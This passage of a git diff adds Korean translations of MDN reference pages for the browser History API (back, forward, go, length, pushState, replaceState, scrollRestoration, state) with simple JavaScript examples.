+<p>이 메서드는 비동기적입니다. {{event("popstate")}} 이벤트 처리기를 통해 탐색 완료 시점을 알 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">history.back()</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 클릭했을 때 뒤로 가는 버튼을 생성합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button id="go-back"&gt;뒤로 가기!&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.getElementById('go-back').addEventListener('click', () =&gt; {
+  window.history.back();
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "history.html#history", "History.back()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-back", "History.back()")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.back")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("History")}}</li>
+</ul>
diff --git a/files/ko/web/api/history/forward/index.html b/files/ko/web/api/history/forward/index.html
new file mode 100644
index 0000000000..52ab61f70b
--- /dev/null
+++ b/files/ko/web/api/history/forward/index.html
@@ -0,0 +1,69 @@
+---
+title: History.forward()
+slug: Web/API/History/forward
+tags:
+  - API
+  - HTML DOM
+  - History
+  - History API
+  - Method
+  - Reference
+translation_of: Web/API/History/forward
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>History.forward()</code></strong> 메서드는 브라우저가 세션 기록의 바로 앞 페이지로 이동하도록 지시합니다.</span> {{domxref("History.go", "history.go(1)")}}과 같습니다. 다음 페이지가 없는 경우 아무것도 하지 않습니다.</p>
+
+<p>이 메서드는 비동기적입니다. {{event("popstate")}} 이벤트 처리기를 통해 탐색 완료 시점을 알 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">history.forward()</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 클릭했을 때 앞으로 가는 버튼을 생성합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button id='go-forward'&gt;앞으로 가기!&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'go-forward'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="parameter token">e</span> <span class="operator token">=&gt;</span> <span class="punctuation token">{</span>
+  window<span class="punctuation token">.</span>history<span class="punctuation token">.forward</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span></code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.forward")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("History")}}</li>
+</ul>
diff --git a/files/ko/web/api/history/go/index.html b/files/ko/web/api/history/go/index.html
new file mode 100644
index 0000000000..3f90100ea8
--- /dev/null
+++ b/files/ko/web/api/history/go/index.html
@@ -0,0 +1,82 @@
+---
+title: History.go()
+slug: Web/API/History/go
+translation_of: Web/API/History/go
+---
+<div>{{APIRef("History API")}}</div>
+
+<p><strong><code>History.go()</code></strong> 메서드는 history 세션에서 특정한 페이지를 로딩합니다. 인자로 전달하는 파라미터 값에 따라 history를 통해서 페이지를 앞 뒤로 이동할 수 있습니다. </p>
+
+<p>이 메서드는 {{glossary("asynchronous")}}(비동기)로 동작합니다. 페이지 앞, 뒤 이동이 언제 이뤄지는지 알려면 {{event("popstate")}} event에 대한 listener를 등록합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">history.go([<em>delta</em>])</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>delta</code> {{optional_inline}}</dt>
+ <dd>현재 페이지에서 상대적으로 이동하려고 하는 history의 위치 값. 음수 값은 뒤로 이동하고, 양수 값은 앞으로 이동합니다. 예를 들면 <code>history.go(2)</code> 는 현재 페이지에서 2 페이지 앞으로 이동하고, <code>history.go(-2)</code> 는 현재 페이지에서 2 페이지 뒤로 이동합니다. 만약 값을 전달하지 않거나, <code>delta</code> 값을 0으로 전달한다면, 이는 <code>location.reload()</code>를 동작시켰을 때와 동일한 결과를 보입니다. (새로고침)</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>한 페이지 뒤로 가기 ({{domxref("History.back", "back()")}}를 호출한 것과 동일):</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre>
+
+<p>{{domxref("History.forward", "forward()")}}와 동일한 한 페이지 앞으로 가기:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre>
+
+<p>두 페이지 앞으로 가기:</p>
+
+<pre class="brush: js">history.go(2);</pre>
+
+<p>두 페이지 뒤로 가기:</p>
+
+<pre class="brush: js">history.go(-2);</pre>
+
+<p>마지막으로, 아래 구문들은 현재 페이지를 새로고침 합니다:</p>
+
+<pre class="brush: js">history.go();
+history.go(0);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "history.html#dom-history-go", "History.go()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-go", "History.go()")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.go")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("History")}}</li>
+ <li>{{DOMxRef("History.back","back()")}}</li>
+ <li>{{DOMxRef("History.forward","forward()")}}</li>
+ <li>{{event("popstate")}} event</li>
+ <li><a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a></li>
+</ul>
diff --git a/files/ko/web/api/history/index.html b/files/ko/web/api/history/index.html
new file mode 100644
index 0000000000..37fabc2c98
--- /dev/null
+++ b/files/ko/web/api/history/index.html
@@ -0,0 +1,85 @@
+---
+title: History
+slug: Web/API/History
+tags:
+  - API
+  - HTML DOM
+  - History API
+  - Interface
+  - Reference
+  - Web
+translation_of: Web/API/History
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>History</code></strong> 인터페이스는 브라우저의 세션 기록, 즉 현재 페이지를 불러온 탭 또는 프레임의 방문 기록을 조작할 수 있는 방법을 제공합니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em><code>History</code> 인터페이스는 어떤 속성도 상속하지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("History.length")}} {{readOnlyInline}}</dt>
+ <dd>현재 페이지를 포함해, 세션 기록의 길이를 나타내는 정수를 반환합니다.</dd>
+ <dt>{{domxref("History.scrollRestoration")}}</dt>
+ <dd>기록 탐색 시 스크롤 위치 복원 여부를 명시할 수 있습니다. 가능한 값은 <code>auto</code>와 <code>manual</code>입니다.</dd>
+ <dt>{{domxref("History.state")}} {{readOnlyInline}}</dt>
+ <dd>기록 스택 최상단의 스테이트를 나타내는 값을 반환합니다. {{event("popstate")}} 이벤트를 기다리지 않고 현재 기록의 스테이트를 볼 수 있는 방법입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em><code>History</code> 인터페이스는 어떤 메서드도 상속하지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("History.back()")}}</dt>
+ <dd>세션 기록의 바로 뒤 페이지로 이동하는 비동기 메서드입니다. 브라우저의 <kbd>뒤로 가기</kbd> 버튼을 눌렀을 때, 그리고 <code>history.go(-1)</code>을 사용했을 때와 같습니다.
+ <div class="note"><strong>참고:</strong> 세션 기록의 제일 첫 번째 페이지에서 호출해도 오류는 발생하지 않습니다.</div>
+ </dd>
+ <dt>{{domxref("History.forward()")}}</dt>
+ <dd>세션 기록의 바로 앞 페이지로 이동하는 비동기 메서드입니다. 브라우저의 <kbd>앞으로 가기</kbd> 버튼을 눌렀을 때, 그리고 <code>history.go(1)</code>을 사용했을 때와 같습니다.
+ <div class="note"><strong>참고:</strong> 세션 기록의 제일 마지막 페이지에서 호출해도 오류는 발생하지 않습니다.</div>
+ </dd>
+ <dt>{{domxref("History.go()")}}</dt>
+ <dd>현재 페이지를 기준으로, 상대적인 위치에 존재하는 세션 기록 내 페이지로 이동하는 비동기 메서드입니다. 예를 들어, 매개변수로 <code>-1</code>을 제공하면 바로 뒤로, <code>1</code>을 제공하면 바로 앞으로 이동합니다. 세션 기록의 범위를 벗어나는 값을 제공하면 아무 일도 일어나지 않습니다. 매개변수를 제공하지 않거나, <code>0</code>을 제공하면 현재 페이지를 다시 불러옵니다.</dd>
+ <dt>{{domxref("History.pushState()")}}</dt>
+ <dd>주어진 데이터를 지정한 제목(제공한 경우 URL도)으로 세션 기록 스택에 넣습니다. 데이터는 DOM이 불투명(opaque)하게 취급하므로, 직렬화 가능한 모든 JavaScript 객체를 사용할 수 있습니다. 참고로, Safari를 제외한 모든 브라우저는 <code>title</code> 매개변수를 무시합니다.</dd>
+ <dt>{{domxref("History.replaceState()")}}</dt>
+ <dd>세션 기록 스택의 제일 최근 항목을 주어진 데이터, 지정한 제목 및 URL로 대체합니다. 데이터는 DOM이 불투명(opaque)하게 취급하므로, 직렬화 가능한 모든 JavaScript 객체를 사용할 수 있습니다. 참고로, Safari를 제외한 모든 브라우저는 <code>title</code> 매개변수를 무시합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#the-history-interface", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Adds the <code>scrollRestoration</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-history-interface", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>History</code> 객체 참조를 반환하는 {{domxref("Window.history")}} 속성.</li>
+</ul>
diff --git a/files/ko/web/api/history/length/index.html b/files/ko/web/api/history/length/index.html
new file mode 100644
index 0000000000..0e26279b5c
--- /dev/null
+++ b/files/ko/web/api/history/length/index.html
@@ -0,0 +1,50 @@
+---
+title: History.length
+slug: Web/API/History/length
+tags:
+  - API
+  - HTML
+  - HTML DOM
+  - History API
+  - Property
+  - Read-only
+  - Reference
+translation_of: Web/API/History/length
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><span class="seoSummary"><code><strong>History.length</strong></code> 읽기 전용 속성은 현재 페이지를 포함해, 세션 기록의 길이를 나타내는 정수를 반환합니다.</span> 예를 들어, 새로운 탭에 막 불러온 페이지의 세션 기록 길이는 <code>1</code>입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-history-length", "History.length")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-history-length", "History.length")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.length")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("History")}} 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/history/pushstate/index.html b/files/ko/web/api/history/pushstate/index.html
new file mode 100644
index 0000000000..a4e7af47df
--- /dev/null
+++ b/files/ko/web/api/history/pushstate/index.html
@@ -0,0 +1,84 @@
+---
+title: History.pushState()
+slug: Web/API/History/pushState
+tags:
+  - API
+  - DOM
+  - History
+  - History API
+  - Method
+  - Reference
+  - Web
+translation_of: Web/API/History/pushState
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><a href="/en-US/docs/Web/HTML">HTML</a> 문서에서, <strong><code>history.pushState()</code></strong> 메서드는 브라우저의 세션 기록 스택에 상태를 추가합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">history.pushState(<var>state</var>, <var>title</var>[, <var>url</var>]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>state</code></dt>
+ <dd>새로운 세션 기록 항목에 연결할 상태 객체. 사용자가 새로운 상태로 이동할 때마다 {{event("popstate")}} 이벤트가 발생하는데, 이 때 이벤트 객체의 <code>state</code> 속성에 해당 상태의 복제본이 담겨 있습니다.</dd>
+ <dd>상태 객체는 직렬화 가능한 객체라면 모두 가능합니다.</dd>
+ <dt><code>title</code></dt>
+ <dd><a href="https://github.com/whatwg/html/issues/2174">지금은 대부분의 브라우저가 <code>title</code> 매개변수를 무시하지만</a>, 미래에 쓰일 수도 있습니다. 빈 문자열을 지정하면 나중의 변경사항에도 안전할 것입니다. 아니면, 상태에 대한 짧은 제목을 제공할 수도 있습니다.</dd>
+ <dt><code>url</code> {{optional_inline}}</dt>
+ <dd>새로운 세션 기록 항목의 URL. <code>pushState()</code> 호출 이후에 브라우저는 주어진 URL로 탐색하지 않습니다. 그러나 이후, 예컨대 브라우저를 재시작할 경우 탐색을 시도할 수도 있습니다. 상대 URL을 지정할 수 있으며, 이 땐 현재 URL을 기준으로 사용합니다. 새로운 URL은 현재 URL과 같은 {{glossary("origin", "출처")}}를 가져야 하며, 그렇지 않을 경우 예외가 발생합니다. 지정하지 않은 경우 문서의 현재 URL을 사용합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>어떤 면에선 <code>pushState()</code>와 <code>window.location = "#foo"</code>가 비슷합니다. 둘 다 새로운 세션 기록 항목을 생성하고 활성화하기 때문입니다. 그러나 <code>pushState()</code>에는 몇 가지 장점이 있습니다.</p>
+
+<ul>
+ <li>새로운 URL은 같은 출처에 한해서 아무 URL이나 가능합니다. 반면 {{domxref("window.location")}} 설정은 해시만 수정해야 같은 문서에 머무릅니다.</li>
+ <li>원할 경우 URL을 바꾸지 않을 수도 있습니다. 그러나 <code>window.location = "#foo"</code>는 현재 해시가 <code>#foo</code>가 아닐 때만 새로운 기록 항목을 생성합니다.</li>
+ <li><code>pushState()</code>는 임의의 데이터를 세션 기록 항목에 연결할 수 있습니다. 해시 기반 방식에서는 필요한 모든 데이터를 인코딩 해 짧은 문자열로 만들어야 합니다.</li>
+</ul>
+
+<p>다만 <code>pushState()</code>는 이전 URL과 신규 URL의 해시가 다르더라도 절대 {{event("hashchange")}} 이벤트를 유발하지 않습니다.</p>
+
+<p>HTML 외의 문서에서는 이름공간 URI가 <code>null</code>인 요소를 생성합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 주어진 상태, 제목, URL을 사용해 새로운 세션 기록을 생성합니다.</p>
+
+<pre class="brush: js">const state = { 'page_id': 1, 'user_id': 5 }
+const title = ''
+const url = 'hello-world.html'
+
+history.pushState(state, title, url)</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#dom-history-pushstate", "History.pushState()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-history-pushstate", "History.pushState()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.pushState")}}</p>
diff --git a/files/ko/web/api/history/replacestate/index.html b/files/ko/web/api/history/replacestate/index.html
new file mode 100644
index 0000000000..3b9f92ba8d
--- /dev/null
+++ b/files/ko/web/api/history/replacestate/index.html
@@ -0,0 +1,68 @@
+---
+title: History.replaceState()
+slug: Web/API/History/replaceState
+translation_of: Web/API/History/replaceState
+---
+<div>{{APIRef("History API")}}</div>
+
+<div></div>
+
+<p><strong><code>History.replaceState()</code></strong> 메서드는 현재 history를 수정해 메소드의 매개 변수에 전달 된 <code>stateObj</code>, <code>title</code>, <code>URL</code>로 대체합니다. 이 방법은 특히 일부 유저의 동작에 대한 응답으로 history 객체의 상태나 현재 history의 URL을 업데이트하려는 경우에 유용합니다. </p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">history.replaceState(<em>stateObj</em>, <em>title</em>[, <em>url</em>])</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>stateObj</code></dt>
+ <dd>state 객체는 <code>replaceState</code>에 전달된 history 항목과 연관된 JavaScript 객체입니다. state object는 <code>null</code>일 수 있습니다.</dd>
+ <dt><code>title</code></dt>
+ <dd>나중에는 사용할 수도 있지만, <a href="https://github.com/whatwg/html/issues/2174">대부분의 브라우저는 현재 이 파라미터를 무시하고 있습니다.</a> 이 부분에 빈 String을 전달하면 나중에 메소드가 변화하더라도 안전합니다. 또는, state에 짧은 title을 전달할 수도 있습니다.</dd>
+ <dt><code>url</code> {{optional_inline}}</dt>
+ <dd>history 항목의 URL 입니다. 새 URL은 현재 URL과 출처가 동일해야(same origin)합니다. 그렇지 않으면 replaceState에서 예외가 발생합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>https://www.mozilla.org/ 에서 아래 JavaScript를 실행한다고 가정합시다: </p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const </span>stateObj <span class="operator token">=</span> <span class="punctuation token">{</span> foo<span class="punctuation token">:</span> '<span class="string token">bar'</span> <span class="punctuation token">}</span><span class="punctuation token">;</span>
+history<span class="punctuation token">.</span><span class="function token">pushState</span><span class="punctuation token">(</span>stateObj<span class="punctuation token">,</span> <span class="string token">''</span><span class="punctuation token">,</span> '<span class="string token">bar.html'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>위 두 줄에 대한 설명은 <a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a> 문서의 <a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API#Example_of_pushState_method">Example of <code>pushState()</code> method</a>에서 확인할 수 있습니다. 그 다음, <span class="nowiki">https://www.mozilla.org/bar.html</span>에서 아래와 같은 JavaScript를 실행한다고 가정해보세요:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">replaceState</span><span class="punctuation token">(</span>stateObj<span class="punctuation token">,</span> <span class="string token">''</span><span class="punctuation token">,</span> '<span class="string token">bar2.html'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>이렇게하면 URL 표시줄에 <span class="nowiki">https://www.mozilla.org/bar2.html이라고 표시되지만</span>, 브라우저가 <code>bar2.html<font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">을 로드하거나 </span></font></code><code>bar2.html</code>파일이 있는지 확인하지는 않습니다.</p>
+
+<p>이제 사용자가 <span class="nowiki">https://www.microsoft.com으로 이동한 다음</span>, 뒤로가기 버튼을 누른다고 가정해봅시다. 이 때, URL 표시줄에는<span class="nowiki">https://www.mozilla.org/bar2.html이 표시됩니다. 사용자가 다시 뒤로가기 버튼을 누르면, URL 표시줄에는 https://www.mozilla.org/foo.html이 표시되고, bar.html은 완전히 무시되어 표시되지 않습니다.</span></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "history.html#dom-history-replacestate", "History.replaceState()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>{{SpecName("HTML5 W3C")}} 이후 변화 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "history.html#dom-history-replacestate", "History.replaceState()")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.replaceState")}}</p>
diff --git a/files/ko/web/api/history/scrollrestoration/index.html b/files/ko/web/api/history/scrollrestoration/index.html
new file mode 100644
index 0000000000..a9a4923bd7
--- /dev/null
+++ b/files/ko/web/api/history/scrollrestoration/index.html
@@ -0,0 +1,72 @@
+---
+title: History.scrollRestoration
+slug: Web/API/History/scrollRestoration
+tags:
+  - API
+  - HTML DOM
+  - History API
+  - Property
+  - Reference
+translation_of: Web/API/History/scrollRestoration
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>History.scrollRestoration</code></strong> 속성을 사용하면 기록 탐색 시 사용할 스크롤 위치 복원 기능의 기본값을 웹 애플리케이션이 지정할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">let scrollRestore = history.scrollRestoration;</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>"auto"</code></dt>
+ <dd>페이지 내에서 사용자의 스크롤이 위치했던 장소로 복원합니다.</dd>
+ <dt><code>"manual"</code></dt>
+ <dd>스크롤을 복원하지 않습니다. 사용자가 직접 스크롤해야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="현재_스크롤_복원_여부_알아내기">현재 스크롤 복원 여부 알아내기</h3>
+
+<pre class="brush: js">const scrollRestoration = history.scrollRestoration
+if (scrollRestoration === 'manual') {
+  console.log('The location on the page is not restored, user will need to scroll manually.');
+}
+</pre>
+
+<h3 id="스크롤_복원_비활성화">스크롤 복원 비활성화</h3>
+
+<pre class="brush: js">if (history.scrollRestoration) {
+  window.history.scrollRestoration = 'manual';
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", " #scroll-restoration-mode", "History.scrollRestoration")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-scrollrestoration", "History.scrollRestoration")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.scrollRestoration")}}</p>
diff --git a/files/ko/web/api/history/state/index.html b/files/ko/web/api/history/state/index.html
new file mode 100644
index 0000000000..0f889665c7
--- /dev/null
+++ b/files/ko/web/api/history/state/index.html
@@ -0,0 +1,67 @@
+---
+title: History.state
+slug: Web/API/History/state
+translation_of: Web/API/History/state
+---
+<div>{{APIRef("History API")}}</div>
+
+<p><span class="seoSummary"><strong><code>History.state</code></strong> 속성은 현 history에 해당하는 state값을 나타냅니다.</span></p>
+
+<p>{{event("popstate")}} 이벤트가 트리거될때가 아닌 상태에서 state값을 볼 수 있는 방법입니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">const <em>currentState</em> = history.state</pre>
+
+<h3 id="값">값</h3>
+
+<p>현 history에 위치한 값입니다. 이 값은 {{domxref("History.pushState","pushState()")}} 또는 {{domxref("History.replaceState","replaceState()")}}을 사용할때까지 {{jsxref("null")}} 값을 가집니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>history.state</code> 로 초기값을 보여준 후 {{domxref("History.pushState","pushState()")}}를 사용하여 State를 푸시합니다.</p>
+
+<p>다음 코드 줄은 <code>history.state</code> 를 사용하여 콘솔에다 값이 푸시되었음을 보여줍니다.</p>
+
+<pre class="brush: js">// Should be null because we haven't modified the history stack yet
+console.log(`History.state before pushState: ${history.state}`);
+
+// Now push something on the stack
+history.pushState({name: 'Example'}, "pushState example", 'page3.html');
+
+// Now state has a value.
+console.log(`History.state after pushState: ${history.state}`);</pre>
+
+<h2 id="SpecificationsE">Specifications<a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Web/API/History$edit#Specifications" rel="nofollow, noindex"><span>E</span></a></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-history-state", "History.state")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-state", "History.state")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.History.state")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a></li>
+</ul>
diff --git a/files/ko/web/api/history_api/index.html b/files/ko/web/api/history_api/index.html
new file mode 100644
index 0000000000..3396a23460
--- /dev/null
+++ b/files/ko/web/api/history_api/index.html
@@ -0,0 +1,117 @@
+---
+title: History API
+slug: Web/API/History_API
+tags:
+  - API
+  - Advanced
+  - DOM
+  - History
+  - 기록
+  - 브라우저 히스토리
+  - 히스토리
+translation_of: Web/API/History_API
+---
+<div>{{DefaultAPISidebar("History API")}}</div>
+
+<p>DOM의 {{domxref("Window")}} 객체는 {{domxref("Window.history", "history")}} 객체를 통해 브라우저의 세션 기록에 접근할 수 있는 방법을 제공합니다. {{domxref("History", "history")}}는 사용자를 자신의 방문 기록 앞과 뒤로 보내고 기록 스택의 콘텐츠도 조작할 수 있는, 유용한 메서드와 속성을 가집니다.</p>
+
+<h2 id="개념과_사용_방법">개념과 사용 방법</h2>
+
+<p>사용자 방문 기록에서 앞뒤로 이동할 땐 {{domxref("History.back","back()")}}, {{domxref("History.forward","forward()")}}, {{domxref("History.go","go()")}} 메서드를 사용합니다.</p>
+
+<h3 id="앞으로_가기와_뒤로_가기">앞으로 가기와 뒤로 가기</h3>
+
+<p>방문 기록의 뒤로 이동하려면 다음과 같이 사용합니다.</p>
+
+<pre class="brush: js">history.back()</pre>
+
+<p>위의 코드는 사용자가 브라우저 도구 모음의 뒤로 가기 버튼을 누른 것과 같습니다.</p>
+
+<p>이와 비슷하게, 기록의 앞으로 (도구 모음의 앞으로 가기 버튼) 가는 것도 할 수 있습니다.</p>
+
+<pre class="brush: js">history.forward()</pre>
+
+<h3 id="기록의_특정_지점으로_이동">기록의 특정 지점으로 이동</h3>
+
